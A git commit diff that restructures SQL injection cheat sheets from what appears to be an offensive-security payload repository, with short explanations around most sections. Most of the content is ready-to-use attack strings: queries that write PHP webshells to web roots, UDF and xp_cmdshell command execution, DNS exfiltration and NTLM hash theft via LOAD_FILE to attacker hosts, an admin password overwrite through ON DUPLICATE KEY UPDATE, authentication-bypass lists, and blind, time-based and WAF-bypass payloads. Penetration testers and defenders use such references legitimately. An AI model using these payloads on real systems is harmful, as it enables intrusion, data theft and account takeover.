SQL Injection - Methodology

This commit is contained in:
Swissky 2024-11-15 14:48:58 +01:00
parent 8bc33f8bb7
commit cde11da0c7
3 changed files with 386 additions and 235 deletions

View file

@ -5,7 +5,7 @@
## Summary ## Summary
- [Tools](#tools) - [Tools](#tools)
- [Exploit](#exploit) - [Methodology](#exploit)
- [Google Maps](#google-maps) - [Google Maps](#google-maps)
- [Algolia](#algolia) - [Algolia](#algolia)
- [Slack API Token](#slack-api-token) - [Slack API Token](#slack-api-token)
@ -51,7 +51,7 @@
- [d0ge/sign-saboteur](https://github.com/d0ge/sign-saboteur) - SignSaboteur is a Burp Suite extension for editing, signing, verifying various signed web tokens - [d0ge/sign-saboteur](https://github.com/d0ge/sign-saboteur) - SignSaboteur is a Burp Suite extension for editing, signing, verifying various signed web tokens
## Exploit ## Methodology
The following commands can be used to takeover accounts or extract personal information from the API using the leaked token. The following commands can be used to takeover accounts or extract personal information from the API using the leaked token.

View file

@ -25,23 +25,24 @@
* [Using SLEEP in a subselect](#using-sleep-in-a-subselect) * [Using SLEEP in a subselect](#using-sleep-in-a-subselect)
* [Using conditional statements](#using-conditional-statements) * [Using conditional statements](#using-conditional-statements)
* [MYSQL DIOS - Dump in One Shot](#mysql-dios---dump-in-one-shot) * [MYSQL DIOS - Dump in One Shot](#mysql-dios---dump-in-one-shot)
* [MYSQL Current queries](#mysql-current-queries) * [MYSQL Current Queries](#mysql-current-queries)
* [MYSQL Read content of a file](#mysql-read-content-of-a-file) * [MYSQL Read Content of a File](#mysql-read-content-of-a-file)
* [MYSQL Write a shell](#mysql-write-a-shell) * [MYSQL Command Execution](#mysql-command-execution)
* [Into outfile method](#into-outfile-method) * [WEBSHELL - OUTFILE method](#shell---outfile-method)
* [Into dumpfile method](#into-dumpfile-method) * [WEBSHELL - DUMPFILE method](#shell---dumpfile-method)
* [MYSQL UDF command execution](#mysql-udf-command-execution) * [COMMAND - UDF Library](#udf-library)
* [MYSQL INSERT](#mysql-insert)
* [MYSQL Truncation](#mysql-truncation) * [MYSQL Truncation](#mysql-truncation)
* [MYSQL Fast Exploitation](#mysql-fast-exploitation) * [MYSQL json_arrayagg](#mysql-json_arrayagg)
* [MYSQL Out of band](#mysql-out-of-band) * [MYSQL Out of Band](#mysql-out-of-band)
* [DNS exfiltration](#dns-exfiltration) * [DNS Exfiltration](#dns-exfiltration)
* [UNC Path - NTLM hash stealing](#unc-path---ntlm-hash-stealing) * [UNC Path - NTLM Hash Stealing](#unc-path---ntlm-hash-stealing)
* [MYSQL WAF Bypass](#mysql-waf-bypass) * [MYSQL WAF Bypass](#mysql-waf-bypass)
* [Alternative to information schema](#alternative-to-information-schema) * [Alternative to Information Schema](#alternative-to-information-schema)
* [Alternative to version](#alternative-to-version) * [Alternative to version](#alternative-to-version)
* [Scientific Notation](#scientific-notation) * [Scientific Notation](#scientific-notation)
* [Conditional Comments](#conditional-comments) * [Conditional Comments](#conditional-comments)
* [Wide byte injection](#wide-byte-injection) * [Wide Byte Injection (GBK)](#wide-byte-injection-gbk)
* [References](#references) * [References](#references)
@ -291,14 +292,20 @@ Works with `MySQL >= 5.0`
### MYSQL Blind with substring equivalent ### MYSQL Blind with substring equivalent
| Function | Example | Description |
| --- | --- | --- |
| `SUBSTR` | `SUBSTR(version(),1,1)=5` | Extracts a substring from a string (starting at any position) |
| `SUBSTRING` | `SUBSTRING(version(),1,1)=5` | Extracts a substring from a string (starting at any position) |
| `RIGHT` | `RIGHT(left(version(),1),1)=5` | Extracts a number of characters from a string (starting from right) |
| `MID` | `MID(version(),1,1)=4` | Extracts a substring from a string (starting at any position) |
| `LEFT` | `LEFT(version(),1)=4` | Extracts a number of characters from a string (starting from left) |
Examples of Blind SQL injection using SUBSTRING or another equivalent function:
```sql ```sql
?id=1 and substring(version(),1,1)=5
?id=1 and right(left(version(),1),1)=5
?id=1 and left(version(),1)=4
?id=1 and ascii(lower(substr(Version(),1,1)))=51
?id=1 and (select mid(version(),1,1)=4)
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A' ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
?id=1 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A' ?id=1 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
?id=1 AND ASCII(LOWER(SUBSTR(version(),1,1)))=51
``` ```
### MySQL Blind SQL Injection in ORDER BY clause using a binary query and REGEXP ### MySQL Blind SQL Injection in ORDER BY clause using a binary query and REGEXP
@ -306,24 +313,27 @@ Works with `MySQL >= 5.0`
This query basically orders by one column or the other, depending on whether the EXISTS() returns a 1 or not. This query basically orders by one column or the other, depending on whether the EXISTS() returns a 1 or not.
For the EXISTS() function to return a 1, the REGEXP query needs to match up, this means you can bruteforce blind values character by character and leak data from the database without direct output. For the EXISTS() function to return a 1, the REGEXP query needs to match up, this means you can bruteforce blind values character by character and leak data from the database without direct output.
``` ```SQL
[...] ORDER BY (SELECT (CASE WHEN EXISTS(SELECT [COLUMN] FROM [TABLE] WHERE [COLUMN] REGEXP "^[BRUTEFORCE CHAR BY CHAR].*" AND [FURTHER OPTIONS / CONDITIONS]) THEN [ONE COLUMN TO ORDER BY] ELSE [ANOTHER COLUMN TO ORDER BY] END)); -- - [...] ORDER BY (SELECT (CASE WHEN EXISTS(SELECT [COLUMN] FROM [TABLE] WHERE [COLUMN] REGEXP "^[BRUTEFORCE CHAR BY CHAR].*" AND [FURTHER OPTIONS / CONDITIONS]) THEN [ONE COLUMN TO ORDER BY] ELSE [ANOTHER COLUMN TO ORDER BY] END)); -- -
``` ```
### MySQL Blind SQL Injection binary query using REGEXP. ### MySQL Blind SQL Injection binary query using REGEXP.
Payload: Payload:
```
```sql
' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- - ' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- -
``` ```
Would work in the query (where the "where" clause is the injection point): Would work in the query (where the "where" clause is the injection point):
```
```SQL
SELECT name,price FROM items WHERE name = '' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- -'; SELECT name,price FROM items WHERE name = '' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- -';
``` ```
In said query, it will check to see if an item exists in the "name" column in the "items" database that starts with an "a". If it will sleep for 3 seconds per item. In said query, it will check to see if an item exists in the "name" column in the "items" database that starts with an "a". If it will sleep for 3 seconds per item.
### MYSQL Blind using a conditional statement ### MYSQL Blind using a conditional statement
TRUE: `if @@version starts with a 5`: TRUE: `if @@version starts with a 5`:
@ -448,7 +458,7 @@ make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(51
``` ```
## MYSQL Current queries ## MYSQL Current Queries
This table can list all operations that DB is performing at the moment. This table can list all operations that DB is performing at the moment.
@ -459,7 +469,7 @@ union SELECT 1,state,info,4 FROM INFORMATION_SCHEMA.PROCESSLIST #
union select 1,(select(@)from(select(@:=0x00),(select(@)from(information_schema.processlist)where(@)in(@:=concat(@,0x3C62723E,state,0x3a,info))))a),3,4 # union select 1,(select(@)from(select(@:=0x00),(select(@)from(information_schema.processlist)where(@)in(@:=concat(@,0x3C62723E,state,0x3a,info))))a),3,4 #
``` ```
## MYSQL Read content of a file ## MYSQL Read Content of a File
Need the `filepriv`, otherwise you will get the error : `ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement` Need the `filepriv`, otherwise you will get the error : `ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement`
@ -477,9 +487,9 @@ If you are `root` on the database, you can re-enable the `LOAD_FILE` using the f
GRANT FILE ON *.* TO 'root'@'localhost'; FLUSH PRIVILEGES;# GRANT FILE ON *.* TO 'root'@'localhost'; FLUSH PRIVILEGES;#
``` ```
## MYSQL Write a shell ## MYSQL Command Execution
### Into outfile method ### WEBSHELL - OUTFILE Method
```sql ```sql
[...] UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php" [...] UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"
@ -488,36 +498,14 @@ GRANT FILE ON *.* TO 'root'@'localhost'; FLUSH PRIVILEGES;#
[...] union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php' [...] union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'
``` ```
### Into dumpfile method ### WEBSHELL - DUMPFILE Method
```sql ```sql
[...] UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPFILE 'C:/Program Files/EasyPHP-12.1/www/shell.php' [...] UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPFILE 'C:/Program Files/EasyPHP-12.1/www/shell.php'
[...] UNION SELECT 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/images/shell.php'; [...] UNION SELECT 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/images/shell.php';
``` ```
## MYSQL Truncation ### COMMAND - UDF Library
In MYSQL "`admin `" and "`admin`" are the same. If the username column in the database has a character-limit the rest of the characters are truncated. So if the database has a column-limit of 20 characters and we input a string with 21 characters the last 1 character will be removed.
```sql
`username` varchar(20) not null
```
Payload: `username = "admin a"`
## MYSQL Fast Exploitation
Requirement: `MySQL >= 5.7.22`
Use `json_arrayagg()` instead of `group_concat()` which allows less symbols to be displayed
* group_concat() = 1024 symbols
* json_arrayagg() > 16,000,000 symbols
```sql
SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLES;
```
## MYSQL UDF command execution
First you need to check if the UDF are installed on the server. First you need to check if the UDF are installed on the server.
@ -540,21 +528,66 @@ mysql> SELECT sys_eval('id');
``` ```
## MYSQL Out of band ## MYSQL INSERT
`ON DUPLICATE KEY UPDATE` keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:
Inject using payload:
```sql
attacker_dummy@example.com", "P@ssw0rd"), ("admin@example.com", "P@ssw0rd") ON DUPLICATE KEY UPDATE password="P@ssw0rd" --
```
The query would look like this:
```sql
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "BCRYPT_HASH"), ("admin@example.com", "P@ssw0rd") ON DUPLICATE KEY UPDATE password="P@ssw0rd" -- ", "BCRYPT_HASH_OF_YOUR_PASSWORD_INPUT");
```
This query will insert a row for the user "attacker_dummy@example.com". It will also insert a row for the user "admin@example.com".
Because this row already exists, the `ON DUPLICATE KEY UPDATE` keyword tells MySQL to update the `password` column of the already existing row to "P@ssw0rd". After this, we can simply authenticate with "admin@example.com" and the password "P@ssw0rd".
## MYSQL Truncation
In MYSQL "`admin `" and "`admin`" are the same. If the username column in the database has a character-limit the rest of the characters are truncated. So if the database has a column-limit of 20 characters and we input a string with 21 characters the last 1 character will be removed.
```sql
`username` varchar(20) not null
```
Payload: `username = "admin a"`
## MYSQL json_arrayagg
Requirement: `MySQL >= 5.7.22`
Use `json_arrayagg()` instead of `group_concat()` which allows less symbols to be displayed
* group_concat() = 1024 symbols
* json_arrayagg() > 16,000,000 symbols
```sql
SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLES;
```
## MYSQL Out of Band
```powershell ```powershell
select @@version into outfile '\\\\192.168.0.100\\temp\\out.txt'; select @@version into outfile '\\\\192.168.0.100\\temp\\out.txt';
select @@version into dumpfile '\\\\192.168.0.100\\temp\\out.txt select @@version into dumpfile '\\\\192.168.0.100\\temp\\out.txt
``` ```
### DNS exfiltration ### DNS Exfiltration
```sql ```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt')); select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874)) select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874))
``` ```
### UNC Path - NTLM hash stealing ### UNC Path - NTLM Hash Stealing
```sql ```sql
select load_file('\\\\error\\abc'); select load_file('\\\\error\\abc');
@ -567,7 +600,7 @@ load data infile '\\\\error\\abc' into table database.table_name;
## MYSQL WAF Bypass ## MYSQL WAF Bypass
### Alternative to information schema ### Alternative to Information Schema
`information_schema.tables` alternative `information_schema.tables` alternative
@ -643,7 +676,7 @@ This technique can be used to obfuscate queries to bypass WAF, for example: `1.e
Examples: `/*!12345UNION*/`, `/*!31337SELECT*/` Examples: `/*!12345UNION*/`, `/*!31337SELECT*/`
### Wide byte injection ### Wide Byte Injection (GBK)
Wide byte injection is a specific type of SQL injection attack that targets applications using multi-byte character sets, like GBK or SJIS. The term "wide byte" refers to character encodings where one character can be represented by more than one byte. This type of injection is particularly relevant when the application and the database interpret multi-byte sequences differently. Wide byte injection is a specific type of SQL injection attack that targets applications using multi-byte character sets, like GBK or SJIS. The term "wide byte" refers to character encodings where one character can be represented by more than one byte. This type of injection is particularly relevant when the application and the database interpret multi-byte sequences differently.

View file

@ -18,16 +18,24 @@
* [Tools](#tools) * [Tools](#tools)
* [Entry Point Detection](#entry-point-detection) * [Entry Point Detection](#entry-point-detection)
* [DBMS Identification](#dbms-identification) * [DBMS Identification](#dbms-identification)
* [Authentication bypass](#authentication-bypass) * [Authentication Bypass](#authentication-bypass)
* [Authentication Bypass (Raw MD5 SHA1)](#authentication-bypass-raw-md5-sha1) * [Raw MD5 and SHA1](#raw-md5-and-sha1)
* [Polyglot injection](#polyglot-injection-multicontext) * [UNION Based Injection](#union-based-injection)
* [Routed injection](#routed-injection) * [Error Based Injection](#error-based-injection)
* [Insert Statement - ON DUPLICATE KEY UPDATE](#insert-statement---on-duplicate-key-update) * [Blind Injection](#blind-injection)
* [Boolean Based Injection](#boolean-based-injection)
* [Blind Error Based Injection](#blind-error-based-injection)
* [Time Based Injection](#time-based-injection)
* [Out of Band (OAST)](#out-of-band-oast)
* [Stack Based Injection](#stack-based-injection)
* [Polyglot Injection](#polyglot-injection)
* [Routed Injection](#routed-injection)
* [Second Order SQL Injection](#second-order-sql-injection)
* [Generic WAF Bypass](#generic-waf-bypass) * [Generic WAF Bypass](#generic-waf-bypass)
* [White spaces alternatives](#white-spaces-alternatives) * [White Spaces](#white-spaces)
* [No Comma Allowed](#no-comma-allowed) * [No Comma Allowed](#no-comma-allowed)
* [No Equal Allowed](#no-equal-allowed) * [No Equal Allowed](#no-equal-allowed)
* [Case modification](#case-modification) * [Case Modification](#case-modification)
* [Labs](#labs) * [Labs](#labs)
* [References](#references) * [References](#references)
@ -121,184 +129,279 @@ Different DBMSs return distinct error messages when they encounter issues. By tr
## Authentication bypass ## Authentication Bypass
In a standard authentication mechanism, users provide a username and password. The application typically checks these credentials against a database. For example, a SQL query might look something like this:
```SQL
SELECT * FROM users WHERE username = 'user' AND password = 'pass';
```
An attacker can attempt to inject malicious SQL code into the username or password fields. For instance, if the attacker types the following in the username field:
```sql ```sql
'-' ' OR '1'='1
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
'--'
"--"
'--' / "--"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin';--
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
``` ```
## Authentication Bypass (Raw MD5 SHA1) And leaves the password field empty, the resulting SQL query executed might look like this:
When a raw md5 is used, the pass will be queried as a simple string, not a hexstring. ```SQL
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';
```
Here, `'1'='1'` is always true, which means the query could return a valid user, effectively bypassing the authentication check.
:warning: In this case, the database will return an array of results because it will match every users in the table. This will produce an error in the server side since it was expecting only one result. By adding a `LIMIT` clause, you can restrict the number of rows returned by the query. By submitting the following payload in the username field, you will log in as the first user in the database. Additionally, you can inject a payload in the password field while using the correct username to target a specific user.
```sql
' or 1=1 limit 1 --
```
:warning: Avoid using this payload indiscriminately, as it always returns true. It could interact with endpoints that may inadvertently delete sessions, files, configurations, or database data.
* [PayloadsAllTheThings/SQL Injection/Intruder/Auth_Bypass.txt](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/Intruder/Auth_Bypass.txt)
### Raw MD5 and SHA1
In PHP, if the optional `binary` parameter is set to true, then the `md5` digest is instead returned in raw binary format with a length of 16. Let's take this PHP code where the authentication is checking the MD5 hash of the password submitted by the user.
```php ```php
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'" sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
``` ```
Allowing an attacker to craft a string with a `true` statement such as `' or 'SOMETHING` An attacker can craft a payload where the result of the `md5($password,true)` function will contain a quote and escape the SQL context, for example with `' or 'SOMETHING`.
| Hash | Input | Output (Raw) | Payload |
| ---- | -------- | ----------------------- | --------- |
| md5 | ffifdyop | `'or'6<>]<5D><>!r,<2C><>b` | `'or'` |
| md5 | 129581926211651571912466741651878684928 | `ÚT0DŸo#ßÁ'or'8` | `'or'` |
| sha1 | 3fDf | `Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!` | `'='` |
| sha1 | 178374 | `™ÜÛ¾}_i™›a!8Wm'/*´Õ` | `'/*` |
| sha1 | 17 | `Ùp2ûjww™%6\` | `\` |
This behavior can be abused to bypass the authentication by escaping the context.
```php ```php
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b sql1 = "SELECT * FROM admin WHERE pass = '".md5("ffifdyop", true)."'";
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-! sql1 = "SELECT * FROM admin WHERE pass = ''or'6<>]<5D><>!r,<2C><>b'";
``` ```
Challenge demo available at [http://web.jarvisoj.com:32772](http://web.jarvisoj.com:32772)
## Polyglot injection (multicontext) ## UNION Based Injection
In a standard SQL query, data is retrieved from one table. The `UNION` operator allows multiple `SELECT` statements to be combined. If an application is vulnerable to SQL injection, an attacker can inject a crafted SQL query that appends a `UNION` statement to the original query.
Let's assume a vulnerable web application retrieves product details based on a product ID from a database:
```sql
SELECT product_name, product_price FROM products WHERE product_id = 'input_id';
```
An attacker could modify the `input_id` to include the data from another table like `users`.
```SQL
1' UNION SELECT username, password FROM users --
```
After submitting our payload, the query become the following SQL:
```SQL
SELECT product_name, product_price FROM products WHERE product_id = '1' UNION SELECT username, password FROM users --';
```
:warning: The 2 SELECT clauses must have the same number of columns.
## Error Based Injection
Error-Based SQL Injection is a technique that relies on the error messages returned from the database to gather information about the database structure. By manipulating the input parameters of an SQL query, an attacker can make the database generate error messages. These errors can reveal critical details about the database, such as table names, column names, and data types, which can be used to craft further attacks.
For example, on a PostgreSQL, injecting this payload in a SQL query would result in an error since the LIMIT clause is expecting a numeric value.
```sql
LIMIT CAST((SELECT version()) as numeric)
```
The error will leak the output of the `version()`.
```ps1
ERROR: invalid input syntax for type numeric: "PostgreSQL 9.5.25 on x86_64-pc-linux-gnu"
```
## Blind Injection
Blind SQL Injection is a type of SQL Injection attack that asks the database true or false questions and determines the answer based on the application's response.
### Boolean Based Injection
Attacks rely on sending an SQL query to the database, making the application return a different result depending on whether the query returns TRUE or FALSE. The attacker can infer information based on differences in the behavior of the application.
Size of the page, HTTP response code, or missing parts of the page are strong indicators to detect whether the Boolean-based Blind SQL injection was successful.
Here is a naive example to recover the content of the `@@hostname` variable.
**Identify Injection Point and Confirm Vulnerability** : Inject a payload that evaluates to true/false to confirm SQL injection vulnerability. For example:
```ps1
http://example.com/item?id=1 AND 1=1 -- (Expected: Normal response)
http://example.com/item?id=1 AND 1=2 -- (Expected: Different response or error)
```
**Extract Hostname Length**: Guess the length of the hostname by incrementing until the response indicates a match. For example:
```ps1
http://example.com/item?id=1 AND LENGTH(@@hostname)=1 -- (Expected: No change)
http://example.com/item?id=1 AND LENGTH(@@hostname)=2 -- (Expected: No change)
http://example.com/item?id=1 AND LENGTH(@@hostname)=N -- (Expected: Change in response)
```
**Extract Hostname Characters** : Extract each character of the hostname using substring and ASCII comparison:
```ps1
http://example.com/item?id=1 AND ASCII(SUBSTRING(@@hostname, 1, 1)) > 64 --
http://example.com/item?id=1 AND ASCII(SUBSTRING(@@hostname, 1, 1)) = 104 --
```
Then repeat the method to discover every characters of the `@@hostname`. Obviously this example is not the fastest way to obtain them. Here are a few pointers to speed it up:
- Extract characters using dichotomy: it reduces the number of requests from linear to logarithmic time, making data extraction much more efficient.
### Blind Error Based Injection
Attacks rely on sending an SQL query to the database, making the application return a different result depending on whether the query returned successfully or triggered an error. In this case, we only infer the success from the server's answer, but the data is not extracted from output of the error.
**Example**: Using `json()` function in SQLite to trigger an error as an oracle to know when the injection is true or false.
```sql
' AND CASE WHEN 1=1 THEN 1 ELSE json('') END AND 'A'='A -- OK
' AND CASE WHEN 1=2 THEN 1 ELSE json('') END AND 'A'='A -- malformed JSON
```
### Time Based Injection
Time-based SQL Injection is a type of blind SQL Injection attack that relies on database delays to infer whether certain queries return true or false. It is used when an application does not display any direct feedback from the database queries but allows execution of time-delayed SQL commands. The attacker can analyze the time it takes for the database to respond to indirectly gather information from the database.
* Default `SLEEP` function for the database
```sql
' AND SLEEP(5)/*
' AND '1'='1' AND SLEEP(5)
' ; WAITFOR DELAY '00:00:05' --
```
* Heavy queries that take a lot of time to complete, usually crypto functions.
```sql
BENCHMARK(2000000,MD5(NOW()))
```
Let's see a basic example to recover the version of the database using a time based sql injection.
```sql
http://example.com/item?id=1 AND IF(SUBSTRING(VERSION(), 1, 1) = '5', BENCHMARK(1000000, MD5(1)), 0) --
```
If the server's response is taking a few seconds before getting received, then the version is starting is by '5'.
### Out of Band (OAST)
Out-of-Band SQL Injection (OOB SQLi) occurs when an attacker uses alternative communication channels to exfiltrate data from a database. Unlike traditional SQL injection techniques that rely on immediate responses within the HTTP response, OOB SQL injection depends on the database server's ability to make network connections to an attacker-controlled server. This method is particularly useful when the injected SQL command's results cannot be seen directly or the server's responses are not stable or reliable.
Different databases offer various methods for creating out-of-band connections, the most common technique is the DNS exfiltration:
* MySQL
```sql
LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
```
* MSSQL
```sql
SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
```
## Stacked Based Injection
Stacked Queries SQL Injection is a technique where multiple SQL statements are executed in a single query, separated by a delimiter such as a semicolon (`;`). This allows an attacker to execute additional malicious SQL commands following a legitimate query. Not all databases or application configurations support stacked queries.
```sql
1; EXEC xp_cmdshell('whoami') --
```
## Polyglot Injection
A polygot SQL injection payload is a specially crafted SQL injection attack string that can successfully execute in multiple contexts or environments without modification. This means that the payload can bypass different types of validation, parsing, or execution logic in a web application or database by being valid SQL in various scenarios.
```sql ```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
/* MySQL only */
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/
``` ```
## Routed injection
## Routed Injection
> Routed SQL injection is a situation where the injectable query is not the one which gives output but the output of injectable query goes to the query which gives output. - Zenodermus Javanicus
In short, the result of the first SQL query is used to build the second SQL query. The usual format is `' union select 0xHEXVALUE --` where the HEX is the SQL injection for the second query.
**Example 1**:
`0x2720756e696f6e2073656c65637420312c3223` is the hex encoded of `' union select 1,2#`
```sql ```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055' ' union select 0x2720756e696f6e2073656c65637420312c3223#
``` ```
## Insert Statement - ON DUPLICATE KEY UPDATE **Example 2**:
ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by: `0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061` is the hex encoded of `-1' union select login,password from users-- a`.
```sql ```sql
Inject using payload: -1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --
The query would look like this:
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");
This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".
After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!
``` ```
## Second Order SQL Injection
Second Order SQL Injection is a subtype of SQL injection where the malicious SQL payload is primarily stored in the application's database and later executed by a different functionality of the same application.
```py
username="anything' UNION SELECT Username, Password FROM Users;--"
password="P@ssw0rd"
```
Since you are inserting your payload in the database for a later use, any other type of injections can be used UNION, ERROR, BLIND, STACKED, etc.
## Generic WAF Bypass ## Generic WAF Bypass
### White spaces alternatives ### White Spaces
* No space allowed (`%20`) - bypass using whitespace alternatives Bypass using whitespace alternatives.
```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```
* No whitespace - bypass using comments
```sql
?id=1/*comment*/and/**/1=1/**/--
```
* No Whitespace - bypass using parenthesis
```sql
?id=(1)and(1)=(1)--
```
* Whitespace alternatives by DBMS
```sql
-- Example of query where spaces were replaced by ascii characters above 0x80
♀SELECT§*⌂FROM☺users♫WHERE♂1☼=¶1‼
```
| DBMS | ASCII characters in hexadicimal | | Bypass | Technique |
| ------------------------ | ---------------------- |
| `?id=1%09and%091=1%09--` | Whitespace alternative |
| `?id=1%0Aand%0A1=1%0A--` | Whitespace alternative |
| `?id=1%0Band%0B1=1%0B--` | Whitespace alternative |
| `?id=1%0Cand%0C1=1%0C--` | Whitespace alternative |
| `?id=1%0Dand%0D1=1%0D--` | Whitespace alternative |
| `?id=1%A0and%A01=1%A0--` | Whitespace alternative |
| `?id=1%A0and%A01=1%A0--` | Whitespace alternative |
| DBMS | ASCII characters in hexadecimal |
| ---------- | ------------------------------- | | ---------- | ------------------------------- |
| SQLite3 | 0A, 0D, 0C, 09, 20 | | SQLite3 | 0A, 0D, 0C, 09, 20 |
| MySQL 5 | 09, 0A, 0B, 0C, 0D, A0, 20 | | MySQL 5 | 09, 0A, 0B, 0C, 0D, A0, 20 |
@ -308,45 +411,59 @@ After this, we can simply authenticate with “admin@example.com” and the pass
